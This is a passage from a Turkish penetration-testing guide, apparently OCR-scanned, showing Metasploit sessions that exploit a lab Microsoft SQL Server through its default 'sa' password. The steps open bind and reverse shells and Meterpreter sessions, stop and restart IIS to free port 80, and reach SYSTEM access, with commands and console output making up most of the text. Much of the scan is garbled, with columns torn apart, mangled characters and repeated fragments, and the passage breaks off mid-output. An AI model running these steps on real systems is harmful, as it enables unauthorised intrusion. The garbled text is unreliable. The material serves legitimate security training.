(8994/102246

(10493/102246
(11992/102246
(13491/102246
(14990/102246
(16489/102246
(17988/102246
(19487/102246
(20986102246
(22485/102246
(23984/102246
(25483/102246
(26982/102246
(28481/102246
(29980/102246
(31479/102246
(32978/102246
(34477/102246
(35976/102246
(37475/102246
(38974/102246
(40473/102246
(41972/102246

The target port
The username to authenticate as
Use windows authentification

bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
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] Command
1 Command
] Command
] Command
] Command
1 Command
] Command
] Command
] Command
1 Command
] Command
] Command
] Command
1 Command
] Command
] Command
] Command
1 Command
] Command
] Command
] Command
1 Command
] Command
] Command
] Command
1 Command
] Command
] Command
] Command
1 Command
] Command
] Command
] Command
1 Command
] Command
] Command
] Command
1 Command
] Command
] Command
] Command

Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager

progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress

- 42,
- 43,
- 45,
- 46.
- 48.
- 49,
- 51,
- 52.
- 54,
- 55,
- 57.
- 58.
- 60.
- 61.
- 63.
- 64.
- 65.
- 67.
- 68.
- 70.
- 71,
- 73,
- 74.
- 76.
- 77,
- 79.
- 80.
- 82.
- 83.
- 85.
- 86.
- 87,
- 89.
- 90.
- 92.
- 93.
- 95.
- 96.
- 98.
- 99.

- 100

52%
98%
45%
91%
38%
85%
31%
78%
24%
71%
18%
64%
11%
58%
04%
51%
97%
44%
91%
37%
84%
30%
7%
24%
70%
17%
63%
10%
57%
03%
50%
96%
43%
90%
36%
83%
29%
76%
19%
59%
.00%

done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done

(43471/102246 bytes)
(44970/102246 bytes)
(46469/102246 bytes)
(47968/102246 bytes)
(49467/102246 bytes)
(50966/102246 bytes)
(52465/102246 bytes)
(53964/102246 bytes)
(55463/102246 bytes)
(56962/102246 bytes)
(58461/102246 bytes)
(59960/102246 bytes)
(61459/102246 bytes)
(62958/102246 bytes)
(64457/102246 bytes)
(65956/102246 bytes)
(67455/102246 bytes)
(68954/102246 bytes)
(70453/102246 bytes)
(71952/102246 bytes)
(73451/102246 bytes)
(74950/102246 bytes)
(76449/102246 bytes)
(77948/102246 bytes)
(79447/102246 bytes)
(80946/102246 bytes)
(82445/102246 bytes)
(83944/102246 bytes)
(85443/102246 bytes)
(86942/102246 bytes)
(88441/102246 bytes)
(89940/102246 bytes)
(91439/102246 bytes)
(92938/102246 bytes)
(94437/102246 bytes)
(95936/102246 bytes)
(97435/102246 bytes)
(98934/102246 bytes)
(100400/102246 bytes)
(101827/102246 bytes)
(102246/102246 bytes)

Microsoft SQL Sunucusunun Yonetici

Parolasi ile Yetkisiz Komut Calistirma
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3.6.2 Dogrudan Port Dinleterek Baglanti Kurulmasi

Exploit isleminde Payload c¢alistirma ve ikinci asama yukleyicinin denetmen sistemle
iletisimi icin hedef sistemde kullanilmayan ama erigilebilen bir port gerekmektedir. Hedef
sistemle baglanti kurulabilen port sayisinin birden fazla olmasi durumunda, hedef
sistemin portlarindan bos durumda olan bir tanesi arka kapi iletigimi i¢in tercih edilebilir.
Hedef sistem ile arada bir glivenlik duvari yoksa veya glvenlik duvarinda birden ¢ok port
igin erigim izni verilmis ise bu yontem kullanilabilir. Hedefe yapilacak port taramasi
esnasinda kapali oldugu ve filtrelenmedigi raporlanan portlar bu amacla kullanilabilir.

Dogrudan baglanti 6rnegi ve uygun Payload secimi 6érneginde, hedef sistemle denetmen
sistemi arasinda bir baglanti engeli bulunmadigi ve segilebilecek tim portlardan erigim
saglanabilecegi varsayilmigtir. Bu varsayim nedeniyle hedefin erigilebilir servisi olan
Microsoft SQL servisi 1433. porttan ¢alismakta ve exploit islemi igin bu servisin guvenlik
acigi kullaniimaktadir.

Secilecek parametrelerden RHOST hedef sistemin IP adresini, RPORT hedef servisin
portunu, LPORT ise exploit islemi sonrasi saglanacak olan yetkisiz erisim baglantisi icin
hedef sistemde dinlenecek portu ifade etmektedir. Metasploit Framework LPORT igin
varsayllan ayarlarinda 4444 secmektedir, bu portun dolu olmasi veya baska bir nedenle
secimin degistiriimesi sdzkonusu ise LPORT parametresine erisim saglanacak port
atanmalhdir. Kullanilacak Payload olarak ise komut satiri tercih edilmis ve
windows/shell_bind_tcp tercih edilmistir. Hedef sistemde port dinleme gereksinimi
duyan Payload'larda bind ifadesi gegcmektedir, exploit islemi igin segilecek Payload'larda
kullanilacak baglanti yapisina uygun tar secilmelidir.

msf > hosts

address mac name 0S_name os_flavor os_sp
purpose 1info comments

192.168.1.31 08:00:27:20:51:9D metasploitable Linux Ubuntu

server

192.168.1.32 00:0c:29:dc:38:09 HACMEONE Microsoft Windows XP SP2
device
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msf > services -S mssql
Services
host port proto name state info
192.168.1.32 1434 udp mssql open  tcp=1433 np=\\HACMEONE\pipe\\sql\query
Version=8.00.194 InstanceName=MSSQLSERVER IsClustered=No ServerName=HACMEONE
msf > use exploit/windows/mssql/mssql_payload
msf exploit(mssql_payload) > set PAYLOAD windows/shell_bind_tcp
PAYLOAD => windows/shell_bind_tcp
msf exploit(mssql_payload) > show options
Module options (exploit/windows/mssql/mssql_payload):
Name Current Setting Required Description
METHOD cmd yes Which payload delivery method to use
(ps, cmd, or old)
PASSWORD PASSWORD no The password for the specified
username
RHOST 192.168.1.32 yes The target address
RPORT 1433 yes The target port
USERNAME sa no The username to authenticate as
USE_WINDOWS_AUTHENT false yes Use windows authentification
(requires DOMAIN option set)
Payload options (windows/shell_bind_tcp):
Name Current Setting Required Description
EXITFUNC process yes Exit technique: seh, thread, process, none
LPORT 4444 yes The listen port
RHOST 192.168.1.32 no The target address
Exploit target:
Id Name
0 Automatic
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msf exploit(mssql_payload) > exploit
[*] Started bind handler
[*] Command Stager progress 1.47% done (1499/102246 bytes)
[*] Command Stager progress 2.93% done (2998/102246 bytes)
[*] Command Stager progress 4.40% done (4497/102246 bytes)
[*] Command Stager progress 5.86% done (5996/102246 bytes)
[*] Command Stager progress 7.33% done (7495/102246 bytes)
[*] Command Stager progress 8.80% done (8994/102246 bytes)
[*] Command Stager progress 10.26% done (10493/102246 bytes)
[*] Command Stager progress 11.73% done (11992/102246 bytes)
[*] Command Stager progress 13.19% done (13491/102246 bytes)
[*] Command Stager progress 14.66% done (14990/102246 bytes)
[*] Command Stager progress 16.13% done (16489/102246 bytes)
[*] Command Stager progress 17.59% done (17988/102246 bytes)
[*] Command Stager progress 19.06% done (19487/102246 bytes)
[*] Command Stager progress 20.53% done (20986/102246 bytes)
[*] Command Stager progress 21.99% done (22485/102246 bytes)
[*] Command Stager progress 23.46% done (23984/102246 bytes)
[*] Command Stager progress 24.92% done (25483/102246 bytes)
[*] Command Stager progress 26.39% done (26982/102246 bytes)
[*] Command Stager progress 27.86% done (28481/102246 bytes)
[*] Command Stager progress 29.32% done (29980/102246 bytes)
[*] Command Stager progress 30.79% done (31479/102246 bytes)
[*] Command Stager progress 32.25% done (32978/102246 bytes)
[*] Command Stager progress 33.72% done (34477/102246 bytes)
[*] Command Stager progress 35.19% done (35976/102246 bytes)
[*] Command Stager progress 36.65% done (37475/102246 bytes)
[*] Command Stager progress 38.12% done (38974/102246 bytes)
[*] Command Stager progress 39.58% done (40473/102246 bytes)
[*] Command Stager progress 41.05% done (41972/102246 bytes)
[*] Command Stager progress 42.52% done (43471/102246 bytes)
[*] Command Stager progress 43.98% done (44970/102246 bytes)
[*] Command Stager progress 45.45% done (46469/102246 bytes)
[*] Command Stager progress 46.91% done (47968/102246 bytes)
[*] Command Stager progress 48.38% done (49467/102246 bytes)
[*] Command Stager progress 49.85% done (50966/102246 bytes)
[*] Command Stager progress 51.31% done (52465/102246 bytes)
[*] Command Stager progress 52.78% done (53964/102246 bytes)
[*] Command Stager progress 54.24% done (55463/102246 bytes)
[*] Command Stager progress 55.71% done (56962/102246 bytes)
[*] Command Stager progress 57.18% done (58461/102246 bytes)
[*] Command Stager progress 58.64% done (59960/102246 bytes)
[*] Command Stager progress 60.11% done (61459/102246 bytes)
[*] Command Stager progress 61.58% done (62958/102246 bytes)
[*] Command Stager progress 63.04% done (64457/102246 bytes)
[*] Command Stager progress 64.51% done (65956/102246 bytes)
[*] Command Stager progress 65.97% done (67455/102246 bytes)
[*] Command Stager progress 67.44% done (68954/102246 bytes)
[*] Command Stager progress 68.91% done (70453/102246 bytes)
[*] Command Stager progress 70.37% done (71952/102246 bytes)
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] Command Stager progress - 71.84% done (73451/102246 bytes)
] Command Stager progress - 73.30% done (74950/102246 bytes)
] Command Stager progress - 74.77% done (76449/102246 bytes)
] Command Stager progress - 76.24% done (77948/102246 bytes)
] Command Stager progress - 77.70% done (79447/102246 bytes)
] Command Stager progress - 79.17% done (80946/102246 bytes)
] Command Stager progress - 80.63% done (82445/102246 bytes)
] Command Stager progress - 82.10% done (83944/102246 bytes)
] Command Stager progress - 83.57% done (85443/102246 bytes)
] Command Stager progress - 85.03% done (86942/102246 bytes)
] Command Stager progress - 86.50% done (88441/102246 bytes)
] Command Stager progress - 87.96% done (89940/102246 bytes)
] Command Stager progress - 89.43% done (91439/102246 bytes)
] Command Stager progress - 90.90% done (92938/102246 bytes)
] Command Stager progress - 92.36% done (94437/102246 bytes)
] Command Stager progress - 93.83% done (95936/102246 bytes)
] Command Stager progress - 95.29% done (97435/102246 bytes)
] Command Stager progress - 96.76% done (98934/102246 bytes)
] Command Stager progress - 98.19% done (100400/102246 bytes)
] Command Stager progress - 99.59% done (101827/102246 bytes)
] Command Stager progress - 100.00% done (102246/102246 bytes)
] Command shell session 8 opened (192.168.1.11:41313 -> 192.168.1.32:4444) at
1

Microsoft Windows XP [Sirim 5.1.2600]
(C) Telif Hakkt 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>
Microsoft SQL Sunucusunun Yoénetici Parolasi ile Bir Porttan Yetkisiz Erisim Saglama

Hedef sistem ile denetmen sistemi arasinda bir glvenlik duvari bulunan, ancak hedefin
birden fazla portuna erisim saglanabilecek ortamda farkli bir yontem kullanilabilir.
Guvenlik acigi barindiran servis exploit edilerek hedef sistemde komut calistirilir, bu
komut ile hedef sistemde c¢alisan ve erigilebilir servislerden birisi durdurulur. Boylece
bosa c¢ikan port Uzerinden arka kapi baglantisi saglanir, sonrasinda ise servis tekrar
calistirilir ve sistemin igleyisi devam eder.

Bu adimin en 6nemli yan etkisi hedef sistemde servis durdurma ve baslatma islemi
yapildigi icin saldiri izleri kalacaktir. Hatta bu islem sirasinda sistem yoneticileri durumu
farkedebilir ve exploit islemi baslayamadan hedefe erisim kesilebilir. Bir diger nokta da is
surekliliginin gerekli oldugu bir sistem sizma testinde boyle bir yontem s6zlesme ihlali de
sayilabilir. Bu hassas durumlar her test esnasinda yeniden dugunerek, exploit iglemi
gergeklestirilebilir.
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Hazirlanan érnekte hedefin Microsoft IS (TCP port 80) ve Microsoft SQL (TCP port
1433) servislerine erisim saglanabilmektedir, diger portlar ve servislere erisim olmadigi
varsaylilacaktir. Oncelikle connect komutu ile Microsoft IS servisinin etkin oldugu
dogrulanir, sonrasinda Microsoft SQL servisinin yonetici parolasindan kaynaklanan
glvenlik agigi ile hedef sistemde “net stop W3SVC” komutu galigtirilir.

[*] Con

CMD =>

(requir

nected to 192.168.1.32:80

net stop W3SVC

Current Setting Required Description

Name
METHOD cmd
(ps, cmd, or old)
PASSWORD PASSWORD
username
RHOST 192.168.1.32
RPORT 1433
USERNAME sa

USE_WINDOWS_AUTHENT false

es DOMAIN option set)

msf exploit(mssql_payload) > connect -z 192.168.1.32 80

msf exploit(mssql_payload) > set PAYLOAD windows/exec
PAYLOAD => windows/exec

msf exploit(mssql_payload) > set CMD "net stop W3SvC"

msf exploit(mssql_payload) > show options

Module options (exploit/windows/mssql/mssql_payload):

Payload options (windows/exec):

Name Current Setting Required
CMD net stop W3SVC yes
EXITFUNC process yes

Exploit target:

Id Name

0 Automatic

yes Which payload delivery method to use
no The password for the specified

yes The target address

yes The target port

no The username to authenticate as

yes Use windows authentification
Description

The command string to execute

Exit technique: seh, thread, process, none
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msf exploit(mssql_payload) > exploit
[*] Command Stager progress 1.47% done (1499/102246 bytes)
[*] Command Stager progress 2.93% done (2998/102246 bytes)
[*] Command Stager progress 4.40% done (4497/102246 bytes)
[*] Command Stager progress 5.86% done (5996/102246 bytes)
[*] Command Stager progress 7.33% done (7495/102246 bytes)
[*] Command Stager progress 8.80% done (8994/102246 bytes)
[*] Command Stager progress 10.26% done (10493/102246 bytes)
[*] Command Stager progress 11.73% done (11992/102246 bytes)
[*] Command Stager progress 13.19% done (13491/102246 bytes)
[*] Command Stager progress 14.66% done (14990/102246 bytes)
[*] Command Stager progress 16.13% done (16489/102246 bytes)
[*] Command Stager progress 17.59% done (17988/102246 bytes)
[*] Command Stager progress 19.06% done (19487/102246 bytes)
[*] Command Stager progress 20.53% done (20986/102246 bytes)
[*] Command Stager progress 21.99% done (22485/102246 bytes)
[*] Command Stager progress 23.46% done (23984/102246 bytes)
[*] Command Stager progress 24.92% done (25483/102246 bytes)
[*] Command Stager progress 26.39% done (26982/102246 bytes)
[*] Command Stager progress 27.86% done (28481/102246 bytes)
[*] Command Stager progress 29.32% done (29980/102246 bytes)
[*] Command Stager progress 30.79% done (31479/102246 bytes)
[*] Command Stager progress 32.25% done (32978/102246 bytes)
[*] Command Stager progress 33.72% done (34477/102246 bytes)
[*] Command Stager progress 35.19% done (35976/102246 bytes)
[*] Command Stager progress 36.65% done (37475/102246 bytes)
[*] Command Stager progress 38.12% done (38974/102246 bytes)
[*] Command Stager progress 39.58% done (40473/102246 bytes)
[*] Command Stager progress 41.05% done (41972/102246 bytes)
[*] Command Stager progress 42.52% done (43471/102246 bytes)
[*] Command Stager progress 43.98% done (44970/102246 bytes)
[*] Command Stager progress 45.45% done (46469/102246 bytes)
[*] Command Stager progress 46.91% done (47968/102246 bytes)
[*] Command Stager progress 48.38% done (49467/102246 bytes)
[*] Command Stager progress 49.85% done (50966/102246 bytes)
[*] Command Stager progress 51.31% done (52465/102246 bytes)
[*] Command Stager progress 52.78% done (53964/102246 bytes)
[*] Command Stager progress 54.24% done (55463/102246 bytes)
[*] Command Stager progress 55.71% done (56962/102246 bytes)
[*] Command Stager progress 57.18% done (58461/102246 bytes)
[*] Command Stager progress 58.64% done (59960/102246 bytes)
[*] Command Stager progress 60.11% done (61459/102246 bytes)
[*] Command Stager progress 61.58% done (62958/102246 bytes)
[*] Command Stager progress 63.04% done (64457/102246 bytes)
[*] Command Stager progress 64.51% done (65956/102246 bytes)
[*] Command Stager progress 65.97% done (67455/102246 bytes)
[*] Command Stager progress 67.44% done (68954/102246 bytes)
omman ager progress .91% done ytes
[*] C d St 68.91% d (70453/102246 bytes)
ommand Stager progress .37% done ytes
[*] C ds 70.37% d (71952/102246 b )
ommand Stager progress .84% done ytes
[*] C ds 71.84% d (73451/102246 bytes)
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[*] Command Stager progress - 73.30% done (74950/102246 bytes)
[*] Command Stager progress - 74.77% done (76449/102246 bytes)
[*] Command Stager progress - 76.24% done (77948/102246 bytes)
[*] Command Stager progress - 77.70% done (79447/102246 bytes)
[*] Command Stager progress - 79.17% done (80946/102246 bytes)
[*] Command Stager progress - 80.63% done (82445/102246 bytes)
[*] Command Stager progress - 82.10% done (83944/102246 bytes)
[*] Command Stager progress - 83.57% done (85443/102246 bytes)
[*] Command Stager progress - 85.03% done (86942/102246 bytes)
[*] Command Stager progress - 86.50% done (88441/102246 bytes)
[*] Command Stager progress - 87.96% done (89940/102246 bytes)
[*] Command Stager progress - 89.43% done (91439/102246 bytes)
[*] Command Stager progress - 90.90% done (92938/102246 bytes)
[*] Command Stager progress - 92.36% done (94437/102246 bytes)
[*] Command Stager progress - 93.83% done (95936/102246 bytes)
[*] Command Stager progress - 95.29% done (97435/102246 bytes)
[*] Command Stager progress - 96.76% done (98934/102246 bytes)
[*] Command Stager progress - 98.19% done (100400/102246 bytes)
[*] Command Stager progress - 99.59% done (101827/102246 bytes)
[*] Command Stager progress - 100.00% done (102246/102246 bytes)

Exploit isleminde Komut Calistirarak Microsoft 11S'in Durdurulmasi

connect ile servisin durmus oldugu dogrulanir ve Microsoft SQL servisi araciligiyla
hedef sisteme Meterpreter (windows/meterpreter/bind_tcp) ylklenmekte, dinlenecek
port (LPORT) olarak ise durdurulmus olan Microsoft IS portu olan 80 secilmektedir. Elde
edilen oturum dzerinden “net start W3SVC” komutu verilmektedir. Microsoft IIS
servisinin erisilebilir olmasinin ardindan, exploit islemi hedefi eski hale getirmis bicimde
tamamlanmig olacaktir. connect ile portun ve servisin galisabildigi dogrulanir, oturum ise
daha sonra yapilacak iglemler i¢in arka plana aktarilir.

msf exploit(mssql_payload) > connect -z 192.168.1.32 81
[-] Unable to connect: The connection was refused by the remote host (192.168.1.32:81).

msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp

msf exploit(mssql_payload) > set LPORT 80

LPORT => 80

msf exploit(mssql_payload) > show options

Module options (exploit/windows/mssql/mssql_payload):

Name Current Setting Required Description

METHOD cmd yes Which payload delivery method to use
(ps, cmd, or old)
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PASSWORD
username
RHOST
RPORT
USERNAME

Name

LPORT
RHOST

Id Name

Started
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command

PASSWORD

192.168.1.32
1433
sa

USE_WINDOWS_AUTHENT false

no

yes
yes
no

yes

The password for the specified

The target address

The target port

The username to authenticate as
Use windows authentification

(requires DOMAIN option set)

Payload options (windows/meterpreter/bind_tcp):

Current Setting Required Description

80

EXITFUNC process

192.168.1.32

Exploit target:

0 Automatic

msf exploit(mssql_payload)

bind handler

Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager

progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress

yes
yes
no

exploit

o ~NuU AN PR

AT%
.93%
.40%
.86%
.33%
.80%
10.
11.
13.
14.
16.
17.
19.
20.
21.
23.
24.
26.
27.
29.
30.
32.
33.

26%
73%
19%
66%
13%
59%
06%
53%
99%
46%
92%
39%
86%
32%
79%
25%
72%

Exit technique: seh, thread, process, none

The listen port
The target address

done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done

(1499/102246

(2998/102246

(4497/102246

(5996/102246

(7495/102246

(8994/102246

(10493/102246
(11992/102246
(13491/102246
(14990/102246
(16489/102246
(17988/102246
(19487/102246
(20986/102246
(22485/102246
(23984/102246
(25483/102246
(26982/102246
(28481/102246
(29980/102246
(31479/102246
(32978/102246
(34477/102246

bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
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Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Sending

Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager

progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress

- 35.
- 36.
- 38.
- 39.
- 41,
- 42,
- 43,
- 45,
- 46.
- 48.
- 49,
- 51.
- 52.
- 54,
- 55,
- 57.
- 58.
- 60.
- 61.
- 63.
- 64.
- 65.
- 67.
- 68.
- 70.
- 71,
- 73,
- 74.
- 76.
- 77,
- 79.
- 80.
- 82.
- 83.
- 85.
- 86.
- 87.
- 89.
- 90.
- 92.
- 93.
- 95.
- 96.
- 98.
- 99.

- 100

19%
65%
12%
58%
05%
52%
98%
45%
91%
38%
85%
31%
78%
24%
71%
18%
64%
11%
58%
04%
51%
97%
44%
91%
37%
84%
30%
7%
24%
70%
17%
63%
10%
57%
03%
50%
96%
43%
90%
36%
83%
29%
76%
19%
59%
.00%

done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done

(35976/102246
(37475/102246
(38974/102246
(40473/102246
(41972/102246
(43471/102246
(44970/102246
(46469/102246
(47968/102246
(49467/102246
(50966102246
(52465/102246
(53964/102246
(55463/102246
(56962/102246
(58461/102246
(59960/102246
(61459/102246
(62958/102246
(64457/102246
(65956/102246
(67455/102246
(68954/102246
(70453/102246
(71952/102246
(73451/102246
(74950/102246
(76449/102246
(77948/102246
(79447/102246
(80946102246
(82445/102246
(83944/102246
(85443/102246
(86942/102246
(88441/102246
(89940/102246
(91439/102246
(92938/102246
(94437/102246
(95936/102246
(97435/102246
(98934/102246

(100400/102246 bytes)
(101827/102246 bytes)
(102246/102246 bytes)

stage (752128 bytes) to 192.168.1.32

bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)
bytes)

*] Meterpreter session 9 opened (192.168.1.11:36101 -> 192.168.1.32:80) at 2012-09-14
3:11:02 +0300
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meterpreter > shell

Process 2460 created.

Channel 1 created.

Microsoft Windows XP [Serem 5.1.2600]

(C) Telif Hakke 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>net start W3SVC

net start W3SVC

World Wide Web'de Yayemlama hizmeti baelateleyor.

World Wide Web'de Yayemlama hizmeti baeareyla baelatelde.

C:\WINDOWS\system32>exit

meterpreter > background

[*] Backgrounding session 9...

msf exploit(mssql_payload) > connect -z 192.168.1.32 80
[*] Connected to 192.168.1.32:80

msf exploit(mssql_payload) > sessions -1

Active sessions

Id Type Information Connection

9 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ HACMEONE 192.168.1.11:36101 ->
192.168.1.32:80 (192.168.1.32)

Exploit islemi Sonrasinda Komut Calistirilarak Microsoft [1S'in Yeniden Baslatiimasi

Dogrudan baglantida unutulmamasi gereken bir diger nokta da, hedefin servisi sundugu
port ile guvenlik duvarinda NAT yapilan portun farkl olmasi durumudur. Hedef sistemde
Microsoft 1IS 6zel bir nedenle TCP 8080 portunu dinleyebilir, ancak guvenlik duvari
servisi Internet Uzerinden TCP 80 portuna NAT yapabilir. Bu sekilde karsilagilan
senaryoda show advanced ile gorilebilecek CPORT degdiskenine TCP 8080 portu,
secilecek hedefteki arka kapi erigsimi igin ise LPORT degiskenine TCP 80 portu
atanmalidir.
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3.6.3 Ters Baglanti Kurulmasi

Hedefin bir glvenlik duvari arkasinda olmasi durumunda, guvenlik agigi barindiran port
disinda dogrudan erisilebilir bir port bulmak zorlasabilir. Sadece servis sundugu bir portu
erisime acgik ve glvenlik duvari tarafindan korunan bir hedef sistemle karsilasilabilir.
Bdyle bir senaryoda hedefin erisilebilir servisinin guvenlik acgigini kullanmak ve
sonrasinda bir yetkisiz erisim saglamak zorlasabilir. Ters baglanti tlrl bu noktada ¢ézim
olarak sunulmaktadir, hedefte exploit islemi basariyla galistiktan sonra hedef denetmen
sistemine baglanmaktadir. Bdylece hedefin internete erigilebilir oldugu tim portlardan
denetmene yonelik bir yetkisiz erisim baglantisi elde edilebilir.

Ters baglanti hedefin iginde bulundudu guvenlik duvari yapilandirmasi ile dogrudan
ilgilidir. Hedefin rastgele bir porttan denetmen sistemine baglanmasi her zaman mimkin
olmamaktadir; korumali sistemler genellikle HTTP, SMTP, DNS gibi servisleri kullanmak
ve bu servisler ile ilintili portlardan Internet'e erisme imkanina sahip olmaktadir.

Asagidaki ornekte hedefin Microsoft SQL sunucusunun yonetici parolasi zaafiyeti ile ele
gegcirilmesi ve TCP port 80 ile denetmen sistemine bir yetkisiz erisim baglantisi sunmasi
aktariimigtir. Ornekte  hedefe  ylklenecek Payload olarak  Meterpreter
(windows/meterpreter/reverse_tcp) secilmistir, ters baglanti destekleyen Payload'larin
ismi reverse kelimesini icermektedir. Hedefin, denetmen sistemine baglanabilmesi icin
Payload hazirlanirken kullanilacak bilgiler ise LHOST ve LPORT parametreleridir.
Denetmen sisteminin IP adresi (192.168.1.11) LHOST degiskenine, denetmen
sisteminde dinlenecek port numarasi (TCP port 80) da LPORT degiskenine atanir ve
baglanti saglanir.

msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(mssql_payload) > show options
Module options (exploit/windows/mssql/mssql_payload):
Name Current Setting Required Description
METHOD cmd yes Which payload delivery method to use
(ps, cmd, or old)
PASSWORD PASSWORD no The password for the specified
username
RHOST 192.168.1.32 yes The target address
RPORT 1433 yes The target port
USERNAME sa no The username to authenticate as
USE_WINDOWS AUTHENT false yes Use windows authentification
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(requires DOMAIN option set)
Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique: seh, thread, process, none

LHOST yes The listen address

LPORT 80 yes The listen port
Exploit target:

Id Name

0 Automatic
msf exploit(mssql_payload) > set LHOST 192.168.1.11
LHOST => 192.168.1.11
msf exploit(mssql_payload) > set LPORT 80
LPORT => 80
msf exploit(mssql_payload) > exploit
[*] Started reverse handler on 192.168.1.11:80
[*] Command Stager progress -  1.47% done (1499/102246 bytes)
[*] Command Stager progress -  2.93% done (2998/102246 bytes)
[*] Command Stager progress -  4.40% done (4497/102246 bytes)
[*] Command Stager progress - 5.86% done (5996/102246 bytes)
[*] Command Stager progress -  7.33% done (7495/102246 bytes)
[*] Command Stager progress - 8.80% done (8994/102246 bytes)
[*] Command Stager progress - 10.26% done (10493/102246 bytes)
[*] Command Stager progress - 11.73% done (11992/102246 bytes)
[*] Command Stager progress - 13.19% done (13491/102246 bytes)
[*] Command Stager progress - 14.66% done (14990/102246 bytes)
[*] Command Stager progress - 16.13% done (16489/102246 bytes)
[*] Command Stager progress - 17.59% done (17988/102246 bytes)
[*] Command Stager progress - 19.06% done (19487/102246 bytes)
[*] Command Stager progress - 20.53% done (20986/102246 bytes)
[*] Command Stager progress - 21.99% done (22485/102246 bytes)
[*] Command Stager progress - 23.46% done (23984/102246 bytes)
[*] Command Stager progress - 24.92% done (25483/102246 bytes)
[*] Command Stager progress - 26.39% done (26982/102246 bytes)
[*] Command Stager progress - 27.86% done (28481/102246 bytes)
[*] Command Stager progress - 29.32% done (29980/102246 bytes)
[*] Command Stager progress - 30.79% done (31479/102246 bytes)
[*] Command Stager progress - 32.25% done (32978/102246 bytes)
[*] Command Stager progress - 33.72% done (34477/102246 bytes)
[*] Command Stager progress - 35.19% done (35976/102246 bytes)
[*] Command Stager progress - 36.65% done (37475/102246 bytes)
[*] Command Stager progress - 38.12% done (38974/102246 bytes)
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] Command Stager progress - 39.58% done (40473/102246 bytes)
] Command Stager progress - 41.05% done (41972/102246 bytes)
] Command Stager progress - 42.52% done (43471/102246 bytes)
] Command Stager progress - 43.98% done (44970/102246 bytes)
] Command Stager progress - 45.45% done (46469/102246 bytes)
] Command Stager progress - 46.91% done (47968/102246 bytes)
] Command Stager progress - 48.38% done (49467/102246 bytes)
] Command Stager progress - 49.85% done (50966/102246 bytes)
] Command Stager progress - 51.31% done (52465/102246 bytes)
] Command Stager progress - 52.78% done (53964/102246 bytes)
] Command Stager progress - 54.24% done (55463/102246 bytes)
] Command Stager progress - 55.71% done (56962/102246 bytes)
] Command Stager progress - 57.18% done (58461/102246 bytes)
] Command Stager progress - 58.64% done (59960/102246 bytes)
] Command Stager progress - 60.11% done (61459/102246 bytes)
] Command Stager progress - 61.58% done (62958/102246 bytes)
] Command Stager progress - 63.04% done (64457/102246 bytes)
] Command Stager progress - 64.51% done (65956/102246 bytes)
] Command Stager progress - 65.97% done (67455/102246 bytes)
] Command Stager progress - 67.44% done (68954/102246 bytes)
] Command Stager progress - 68.91% done (70453/102246 bytes)
] Command Stager progress - 70.37% done (71952/102246 bytes)
*] Command Stager progress - 71.84% done (73451/102246 bytes)
] Command Stager progress - 73.30% done (74950/102246 bytes)
] Command Stager progress - 74.77% done (76449/102246 bytes)
] Command Stager progress - 76.24% done (77948/102246 bytes)
